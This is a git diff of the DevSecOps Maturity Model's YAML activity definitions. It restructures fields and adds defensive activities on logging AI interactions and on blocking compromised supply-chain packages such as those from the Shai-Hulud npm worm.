short-lived single-repo tokens, deny-by-default egress, PR review as + the human gate, anomaly detection and per-tenant retention with secret + redaction. + - uuid: 0d958256-b3ed-4a13-a3dc-d8b1f153c309 + name: 'OWASP AISVS C12: Monitoring, Logging and Anomaly Detection' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C12-Monitoring-and-Logging.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C12: Monitoring, Logging and Anomaly Detection. + - uuid: 928b9c82-bf24-466b-a254-d8b775f7e0c8 + name: Langfuse + tags: + - ai + - logging + - monitoring + url: https://github.com/langfuse/langfuse + description: |- + Open-source LLM observability platform: traces prompts, tool calls, model + versions and costs of AI applications and agents, providing the audit + trail needed for security monitoring of AI interactions. + - uuid: 47b4ba95-a6da-4493-94c2-829e9d47b612 + name: LiteLLM Proxy (AI Gateway) + tags: + - ai + - data-protection + - gateway + url: https://github.com/BerriAI/litellm + description: |- + Open-source LLM gateway that routes all model traffic through one proxy + with per-team API keys, audit logging and guardrail hooks (e.g. Presidio + PII masking, secret detection) applied to every request. + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.4.1 + iso27001-2022: + - 8.15 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Logging%20of%20AI%20interactions + comments: "" Visualized logging: uuid: 7c735089-6a83-419f-8b27-c1e676cedea1 risk: System and application protocols are not visualized properly which leads @@ -4589,8 +8282,6 @@ Information Gathering: - 8.15 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Visualized%20logging - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4621,8 +8312,6 @@ Information Gathering: - 8.15 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Correlation%20of%20security%20events - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4673,8 +8362,6 @@ Information Gathering: - 5.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/PII%20logging%20concept - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4753,8 +8440,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Simple%20budget%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4787,8 +8472,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Simple%20system%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4820,8 +8503,6 @@ Information Gathering: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Alerting - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4851,8 +8532,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Monitoring%20of%20costs - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4879,8 +8558,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Visualized%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4908,8 +8585,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Advanced%20availability%20and%20stability%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4944,8 +8619,6 @@ Information Gathering: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Audit%20of%20system%20events - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4973,8 +8646,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Deactivation%20of%20unused%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5000,8 +8671,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Grouping%20of%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5032,8 +8701,6 @@ Information Gathering: - 5.26 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Targeted%20alerting - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5061,8 +8728,6 @@ Information Gathering: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Advanced%20app.%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5094,8 +8759,6 @@ Information Gathering: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Coverage%20and%20control%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5127,8 +8790,6 @@ Information Gathering: - 8.2 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Defense%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5182,8 +8843,6 @@ Information Gathering: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Metrics%20are%20combined%20with%20tests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5561,8 +9220,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20tests/subsection/Security%20unit%20tests%20for%20important%20components - isImplemented: false - evidence: "" tags: - none Security integration tests for important components: @@ -5588,8 +9245,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20tests/subsection/Security%20integration%20tests%20for%20important%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5619,8 +9274,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20tests/subsection/Smoke%20Test - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5648,8 +9301,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20tests/subsection/High%20coverage%20of%20security%20related%20module%20and%20integration%20tests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5713,7 +9364,6 @@ Test and Verification: - 5.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Simple%20false%20positive%20treatment - isImplemented: false tags: - false-positive - defect-management @@ -5721,7 +9371,6 @@ Test and Verification: - sca - sats - dast - evidence: "" comments: "" Treatment of defects with high or critical severity: uuid: 44f2c8a9-4aaa-4c72-942d-63f78b89f385 @@ -5767,7 +9416,6 @@ Test and Verification: tags: - vuln-action - defect-management - evidence: "" Artifact-based false positive treatment: uuid: 8f2b4d5a-3c1e-4b7a-9d8f-2e6c4a1b5d7f risk: Without artifact-specific false positive handling, teams must repeatedly @@ -5902,13 +9550,16 @@ Test and Verification: - 5.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Simple%20visualization%20of%20defects - isImplemented: false - evidence: "" comments: "" tags: - none Fix based on accessibility: uuid: 0c10a7f7-f78f-49f2-943d-19fdef248fed + description: |- + Develop a scoring system for asset accessibility, considering factors like: + - Whether the asset is internet-facing (highly recommended) + - The number of network hops required to reach the asset (recommended) + - Authentication requirements for access (recommended) risk: Overwhelming volume of security findings from automated testing tools. This might lead to ignorance of findings. measure: Implement a simple risk-based prioritization framework for vulnerability @@ -5919,12 +9570,6 @@ Test and Verification: resources: 1 usefulness: 4 level: 3 - meta: - implementationGuide: |- - Develop a scoring system for asset accessibility, considering factors like: - - Whether the asset is internet-facing (highly recommended) - - The number of network hops required to reach the asset (recommended) - - Authentication requirements for access (recommended) dependsOn: - 44f2c8a9-4aaa-4c72-942d-63f78b89f385 # Treatment of defects with high or critical severity - 2a44b708-734f-4463-b0cb-86dc46344b2f # Inventory of production components @@ -6109,8 +9754,6 @@ Test and Verification: - 5.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Integration%20of%20vulnerability%20issues%20into%20the%20development%20process - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6324,8 +9967,6 @@ Test and Verification: - 5.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Advanced%20visualization%20of%20defects - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6358,8 +9999,6 @@ Test and Verification: - 5.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Reproducible%20defect%20tickets - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6421,8 +10060,6 @@ Test and Verification: name: Ajax Spider tags: [] url: https://www.zaproxy.org/docs/desktop/addons/ajax-spider/ - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6465,8 +10102,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Simple%20Scan - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6503,9 +10138,7 @@ Test and Verification: - zap description: | Zest is an experimental specialized scripting language (also known as a domain-specific language) originally developed by the Mozilla security team and is intended to be used in web oriented security tools. - isImplemented: false assessment: For REST APIs, multiple OAuth2 scopes are used. - evidence: "" comments: "" tags: - none @@ -6557,8 +10190,6 @@ Test and Verification: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Coverage%20of%20hidden%20endpoints - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6596,8 +10227,6 @@ Test and Verification: url: https://github.com/schemathesis/schemathesis description: | Schemathesis is a tool for testing web applications and services by sending requests based on the Open API / Swagger schema. - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6631,8 +10260,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Coverage%20of%20sequential%20operations - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6670,8 +10297,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Usage%20of%20multiple%20scanners - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6708,8 +10333,6 @@ Test and Verification: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Coverage%20analysis - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6745,8 +10368,6 @@ Test and Verification: url: https://citrusframework.org/ description: Integration Test framework with focus on messaging applications and Microservices. - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6789,8 +10410,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Test%20for%20exposed%20services - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6873,8 +10492,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Test%20of%20the%20configuration%20of%20cloud%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6907,8 +10524,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Test%20for%20unauthorized%20installation - isImplemented: false - evidence: "" dependsOn: - 0de465a6-55a7-4343-af79-948bb5ff10ba # Evaluation of the trust of used components tags: @@ -6940,8 +10555,6 @@ Test and Verification: - 5.17 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Weak%20password%20test - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6971,8 +10584,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Load%20tests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7012,8 +10623,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Test%20for%20unused%20Resources - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7133,6 +10742,7 @@ Test and Verification: openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Software%20Composition%20Analysis%20%28server%20side%29 tags: + - vmm-testing - false-positive - defect-management - scanning @@ -7181,10 +10791,9 @@ Test and Verification: openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Test%20for%20Time%20to%20Patch comments: "" - meta: - implementationGuide: Usage of a version control platform API (e.g. github - API) can be used to fetch the information. Consider that `Measure libyears` - might be an alternative to this activity. + description: Usage of a version control platform API (e.g. github API) can be + used to fetch the information. Consider that `Measure libyears` might be an + alternative to this activity. tags: - patching Test libyear: @@ -7223,10 +10832,9 @@ Test and Verification: openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Test%20libyear comments: "" - meta: - implementationGuide: | - `libyear` can be integrated into the build process and flag or even better break the build in case the defined threshold (e.g. 30 years) is reached. - An alternative approach is to determine `libyear` based on deployed artifacts (which requires more effort in implementation). + description: | + `libyear` can be integrated into the build process and flag or even better break the build in case the defined threshold (e.g. 30 years) is reached. + An alternative approach is to determine `libyear` based on deployed artifacts (which requires more effort in implementation). tags: - patching API design validation: @@ -7275,7 +10883,6 @@ Test and Verification: - 8.28 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/API%20design%20validation - isImplemented: false dependsOn: - 2a44b708-734f-4463-b0cb-86dc46344b2f # Inventory of production components tags: @@ -7338,8 +10945,6 @@ Test and Verification: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Local%20development%20security%20checks%20performed - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7400,11 +11005,9 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Software%20Composition%20Analysis%20%28client%20side%29 - isImplemented: false tags: - defect-management - sca - evidence: "" comments: "" Static analysis for important client side components: uuid: e237176b-bec5-447d-a926-e37d6dd60e4b @@ -7471,8 +11074,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Static%20analysis%20for%20important%20client%20side%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7537,8 +11138,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Static%20analysis%20for%20important%20server%20side%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7576,12 +11175,87 @@ Test and Verification: openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Test%20for%20Patch%20Deployment%20Time comments: "" - meta: - implementationGuide: Self implementation. This activity is not repeated in - the Sub-Dimension "Static depth for infrastructure", but it applies to infrastructure - as well. + description: Self implementation. This activity is not repeated in the Sub-Dimension + "Static depth for infrastructure", but it applies to infrastructure as well. tags: - patching + Test for compromised components: + uuid: 9c776b4e-5895-4040-b63b-c74236ec71b3 + description: "Software composition analysis detects components with known\nvulnerabilities; + compromised components are a different threat:\nlegitimate packages that ship + malware after a maintainer account or\nbuild pipeline was hijacked. Supply + chain attacks like the\nself-replicating Shai-Hulud npm worm (2025) published + hundreds of\ncompromised package versions that stole credentials at install + time \u2014\nfaster than vulnerability feeds and manual review can react." + risk: |- + A compromised version of a legitimate dependency executes malicious + code during installation or build, steals credentials (package + registry tokens, cloud keys) and propagates further before any CVE is + published. Classic vulnerability scanning does not detect it. + measure: |- + Consume dependencies exclusively through a managed artifact repository + and check components against malware and compromise intelligence: + block or quarantine known-compromised versions (e.g. packages affected + by Shai-Hulud) at the artifact repository, enforce a cooldown period + for newly published versions and react to compromise advisories by + purging affected artifacts from caches and rebuilding. + dependsOn: + - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process + - d918cd44-a972-43e9-a974-eff3f4a5dcfe # Software Composition Analysis (server side) + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + implementation: + - uuid: 70da74e9-806d-4db4-b3a7-9c5717060ed8 + name: OpenSSF Malicious Packages + tags: + - supply-chain + - sca + - documentation + url: https://github.com/ossf/malicious-packages + description: |- + Open database of reported malicious and compromised open source + packages in OSV format. Usable as a blocklist feed for artifact + repositories and dependency scanners. + - uuid: e511975e-cad2-45e7-9b1e-9441da889407 + name: Sonatype Repository Firewall + tags: + - supply-chain + - sca + - commercial + url: https://www.sonatype.com/products/sonatype-repository-firewall + description: |- + Policy engine in front of an artifact repository that quarantines + known-malicious, compromised and suspicious package versions before + they enter the internal repository. + - uuid: 5d8b27ac-286e-47a5-b23f-769eb6d74e4a + name: packj + tags: + - OpenSource + - Supply Chain + - vulnerability + url: https://github.com/ossillate-inc/packj + description: | + Packj is a tool to detect software supply chain attacks. It can detect malicious, vulnerable, abandoned, typo-squatting, and other "risky" packages from popular open-source package registries, such as NPM, RubyGems, and PyPI. + references: + samm2: + - V-ST-A-2 + - I-SB-B-2 + iso27001-2017: + - 12.6.1 + - 15.1.1 + iso27001-2022: + - 8.8 + - 5.19 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Test%20for%20compromised%20components + tags: + - sca + - supply-chain + comments: "" Static analysis for all self written components: uuid: ee68331f-9b1d-4f61-844b-b2ea04753a84 risk: Parts in the source code of the frontend or middleware have vulnerabilities. @@ -7644,8 +11318,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Static%20analysis%20for%20all%20self%20written%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7678,8 +11350,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Usage%20of%20multiple%20analyzers - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7773,8 +11443,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Static%20analysis%20for%20all%20components%2Flibraries - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7832,8 +11500,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Stylistic%20analysis - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7871,8 +11537,6 @@ Test and Verification: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20stored%20secrets%20in%20build%20artifacts - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7909,8 +11573,6 @@ Test and Verification: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20stored%20secrets%20in%20code - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7946,8 +11608,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20cluster%20deployment%20resources - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7987,8 +11647,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20image%20lifetime - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8030,8 +11688,6 @@ Test and Verification: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20of%20virtualized%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8067,13 +11723,13 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20the%20cloud%20configuration - isImplemented: false - evidence: "" comments: "" tags: - none Test the definition of virtualized environments: uuid: 8fc3de67-7b8d-420b-8d24-f35928cfed6e + description: For containier (images), test that the images are following best + practices like distroless or non-root. risk: The definition of virtualized environments (e.g. via Dockerfile) might contain unsecure configurations. measure: Test the definition of virtualized environments for unsecured configurations. @@ -8083,9 +11739,6 @@ Test and Verification: resources: 2 usefulness: 3 level: 2 - meta: - implementationGuide: For containier (images), test that the images are following - best practices like distroless or non-root. implementation: - uuid: 94d993ad-ef6e-4d9f-b7a8-27ea68dc3005 name: Dockerfile with hadolint @@ -8123,7 +11776,6 @@ Test and Verification: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20the%20definition%20of%20virtualized%20environments - isImplemented: false tags: - none Test for malware: @@ -8162,8 +11814,6 @@ Test and Verification: - 8.7 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20malware - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8191,8 +11841,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20new%20image%20version - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8236,8 +11884,6 @@ Test and Verification: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Correlate%20known%20vulnerabilities%20in%20infrastructure%20with%20new%20image%20versions - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8286,11 +11932,9 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Software%20Composition%20Analysis - isImplemented: false tags: - scanning - sca - evidence: "" comments: "" Test of infrastructure components for known vulnerabilities: uuid: 13367d8f-e37f-4197-a610-9ffca4fde261 @@ -8336,8 +11980,6 @@ Test and Verification: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20of%20infrastructure%20components%20for%20known%20vulnerabilities - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8367,8 +12009,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/Default%20settings%20for%20intensity - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8398,8 +12038,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/Regular%20automated%20tests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8431,8 +12069,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/Deactivating%20of%20unneeded%20tests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8462,8 +12098,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/High%20test%20intensity - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8497,8 +12131,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/Creation%20and%20application%20of%20a%20testing%20concept - isImplemented: false - evidence: "" comments: "" tags: - none diff --git a/src/assets/YAML/activities.yaml b/src/assets/YAML/activities.yaml new file mode 100644 index 0000000..5280e32 --- /dev/null +++ b/src/assets/YAML/activities.yaml @@ -0,0 +1,8798 @@ +--- +meta: + version: __VERSION_PLACEHOLDER__ + released: "2025-11-12" + publisher: https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel-data/ +--- +Build and Deployment: + Build: + Building and testing of artifacts in virtual environments: + uuid: a340f46b-6360-4cb8-847b-a0d3483d09d3 + description: |- + While building and testing artifacts, third party systems, application frameworks + and 3rd party libraries are used. These might be malicious as a result of + vulnerable libraries or because they are altered during the delivery phase. + risk: |- + While building and testing artifacts, third party systems, application frameworks + and 3rd party libraries are used. These might be malicious as a result of + vulnerable libraries or because they are altered during the delivery phase. + measure: Each step during within the build and testing phase is performed in + a separate virtual environments, which is destroyed afterward. + meta: + implementationGuide: Depending on your environment, usage of virtual machines + or container technology is a good way. After the build, the filesystem should + not be used again in other builds. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 2 + level: 2 + implementation: + - uuid: b4bfead3-5fb6-4dd0-ba44-5da713bd22e4 + name: CI/CD tools + tags: + - ci-cd + url: https://martinfowler.com/articles/continuousIntegration.html + description: CI/CD tools such as jenkins, gitlab-ci or github-actions + - uuid: ed6b6340-6c7f-4e13-8937-f560d3f5db11 + name: Container technologies and orchestration like Docker, Kubernetes + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:ContainerOrchestrationSoftware/ + references: + samm2: + - I-SB-A-2 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Build/a340f46b-6360-4cb8-847b-a0d3483d09d3 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Defined build process: + uuid: f6f7737f-25a9-4317-8de2-09bf59f29b5b + description: "A *build process* include more than just compiling your source + code. \nIt also includes steps such as managing (third party) dependencies, + \nenvironment configuration, running the unit tests, etc. \n\nA *defined build + process* has automated these steps to ensure consistency.\n\nThis can be done + with a Jenkinsfile, Maven, or similar tools.\n" + risk: Performing builds without a defined process is error prone; for example, + as a result of incorrect security related configuration. + measure: A well defined build process lowers the possibility of errors during + the build process. + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 2 + usefulness: 4 + level: 1 + assessment: | + - Show your build pipeline and an exemplary job (build + test). + - Show that every team member has access. + - Show that failed jobs are fixed. + + Credits: AppSecure-nrw [Security Belts](https://github.com/AppSecure-nrw/security-belts/) + implementation: + - uuid: b4bfead3-5fb6-4dd0-ba44-5da713bd22e4 + name: CI/CD tools + tags: + - ci-cd + url: https://martinfowler.com/articles/continuousIntegration.html + description: CI/CD tools such as jenkins, gitlab-ci or github-actions + - uuid: ed6b6340-6c7f-4e13-8937-f560d3f5db11 + name: Container technologies and orchestration like Docker, Kubernetes + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:ContainerOrchestrationSoftware/ + references: + samm2: + - I-SB-A-1 + iso27001-2017: + - 12.1.1 + - 14.2.2 + iso27001-2022: + - 5.37 + - 8.32 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Build/f6f7737f-25a9-4317-8de2-09bf59f29b5b + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Pinning of artifacts: + uuid: f3c4971e-9f4d-4e59-8ed0-f0bdb6262477 + risk: Unauthorized manipulation of artifacts might be difficult to spot. For + 